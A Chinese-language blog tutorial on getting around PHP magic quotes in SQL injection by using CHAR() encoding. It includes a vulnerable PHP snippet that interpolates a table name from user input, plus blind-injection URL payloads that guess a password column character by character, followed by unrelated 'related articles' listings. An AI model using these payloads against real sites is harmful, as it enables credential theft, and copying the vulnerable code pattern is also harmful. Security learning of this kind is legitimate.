我目前学习到的绕过魔术引号的几种方法(如果知道还有别的请万望告之):

1.倘若服务端是GBK可以尝试宽字节注入

2.使用char函数绕过魔术引号进行注入

3.同char函数类似的函数,例如bin(转换为2进制),或者oct(转换为8进制)

本篇就是介绍char函数来进行绕过魔术引号来注入。

以下CODE是一个源码案例:

<?php
$link = mysqli_connect('localhost', 'root', 'root');
mysqli_select_db($link, 'code'); $table = addslashes($_GET['table']);
$sql = "UPDATE `{$table}`
SET `username`='admin'
WHERE id=1";
if(!mysqli_query($link, $sql)) {
echo(mysqli_error($link));
}
mysqli_close($link);

Paylaod:

假设:select * from user where username = 'def';

是可以等价于:select * from user where username = char(100,101,102);

那么在注入中自然也是可以如此。

假设一个站:http://www.baidu.com/newinfo.php?id=1

知道了它的列。char结合left函数注入。

http://www.baidu.com/newinfo.php?id=1 and left(password,1)=char(109)

假设第一个真的是等于109那么就返回正确。

当然了可以使用比较运算符来进行猜解。

http://www.baidu.com/newinfo.php?id=1 and left(password,1)>char(100)

然后猜解第二个的时候(假设第一个的char为100)。

http://www.baidu.com/newinfo.php?id=1 and left(password,2)>char(100,80)

表示python不太会玩儿。如果有人写出脚本可以分享来一起学习一下。

char函数绕过魔术引号注入的更多相关文章

  1. WEB安全 魔术引号及注入类型

    一.魔术引号 1. magic_quotes_gpc 变量 什么是魔术引号 Warning本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除.当打开时,所有的 '(单引号),&q ...

  2. 什么是PHP魔术引号

    今天在读EcShop的源码中发现里面有几个地方涉及到了PHP魔术引号,之前也碰到过都忽略过去了,再次碰到该深入的理解,虽然自PHP 5.3.0 起魔术引号被废弃废弃并将自 PHP 5.4.0 起移除, ...

  3. PHP之魔术引号

    什么是魔术引号 Warning 本特性已自 PHP5.3.0起废弃并将自PHP5.4.0起移除. 当打开,所有的'(单引号),"(双引号),  (反斜线)和NULL 字符都会被自动加上一个反 ...

  4. PHP 魔术引号

    1.魔术引号的作用是什么? ​ 魔术引号设计的初衷是为了让从数据库或文件中读取数据和从请求中接收参数时,对单引号.双引号.反斜线.NULL加上一个一个反斜线进行转义,这个的作用跟addslashes( ...

  5. 【CTF WEB】函数绕过

    函数绕过 <?php show_source(__FILE__); $c = "<?php exit;?>"; @$c.=$_GET['c']; @$filena ...

  6. MySQL报错注入函数汇总及常用注入语句

    版权声明:本文转载自网络内容,下面附原创链接原创链接:https://blog.csdn.net/Auuuuuuuu/article/details/91415165 常用函数 字符串连接函数,将多个 ...

  7. PHP函数 addslashes() 和 mysql_real_escape_string() 的区别 &amp;&amp; SQL宽字节,绕过单引号注入攻击

    首先:不要使用 mysql_escape_string(),它已被弃用,请使用 mysql_real_escape_string() 代替它. mysql_real_escape_string() 和 ...

  8. php is_numeric函数可绕过产生SQL注入

    老老实实mysql_real_escape_string()防作死......is_numeric的SQL利用条件虽然有点苛刻,但还是少用的好= = 某CTF中亦有实测案例,请戳 http://dro ...

  9. 【sqli-labs】 less35 GET- Bypass Add Slashes(we dont need them) Integer based (GET型绕过addslashes() 函数的整型注入)

    整型注入不用闭合引号,那就更简单了 http://192.168.136.128/sqli-labs-master/Less-35/?id=0 union select 1,database(),3% ...

随机推荐

  1. [Redis] redis-cli 命令总结

    Redis提供了丰富的命令(command)对数据库和各种数据类型进行操作,这些command可以在Linux终端使用.在编程时,比如使用Redis 的Java语言包,这些命令都有对应的方法.下面将R ...

  2. Struts2中配置默认Action

    1.当访问的Action不存在时,页面会显示错误信息,可以通过配置默认Action处理用户异常的操作:2.配置方法:    在struts.xml文件中的<package>下添加如下内容: ...

  3. JavaScript权威指南 第七章 数组

    主要介绍一下数组方法 1.Join() Array.join()方法将数组中所有元素都转换为字符串并连接在一起,返回最后生成的字符串. 可以指定一个可选的字符串在生成的字符串中来分隔数组的各个元素.默 ...

  4. Aspose.cell.dll的使用,导excel表

    using System; using System.Web; using EF; using Newtonsoft.Json; using System.Collections.Generic; u ...

  5. 如何在Linux下重命名多个文件

    在Linux中,当你想要改变一个文件名,使用mv命令就好了.然而mv不能使用通配符重命名多个文件.可以用sed.awk或者与xargs结合使用来处理多个文件的情况.然而,这些命令行即繁琐又不友好,并且 ...

  6. poj1273--Drainage Ditches(最大流Edmond-Karp算法 邻接表实现)

    最大流模板题 大部分Edmond-Karp算法代码都是邻接矩阵实现,试着改成了邻接表. #include <iostream> #include <cstdio> #inclu ...

  7. ubuntu進入dos界面命令 ubuntu進入圖形界面命令

    切换界面: ctrl + alt + F1是切到终端模式 Alt+F7 切到图形界面

  8. nopCommerce 3.9 大波浪系列 之 路由扩展 [多语言Seo的实现]

    一.nop种的路由注册 在Global.asax,Application_Start()方法中会进行路由注册,代码如下. public static void RegisterRoutes(Route ...

  9. 7.封装,static,方法重载

    一.访问修饰符1.public:公共的,所有在该项目中都可见2.protected:受保护的,同包,以及子类不同包可见3.默认:就是不写修饰符.同包4.private:私有,只在同类中 二.封装1.定 ...

  10. RegExp 对象

    什么是 RegExp? RegExp 是正则表达式的缩写. 当您检索某个文本时,可以使用一种模式来描述要检索的内容.RegExp 就是这种模式. 简单的模式可以是一个单独的字符. 更复杂的模式包括了更 ...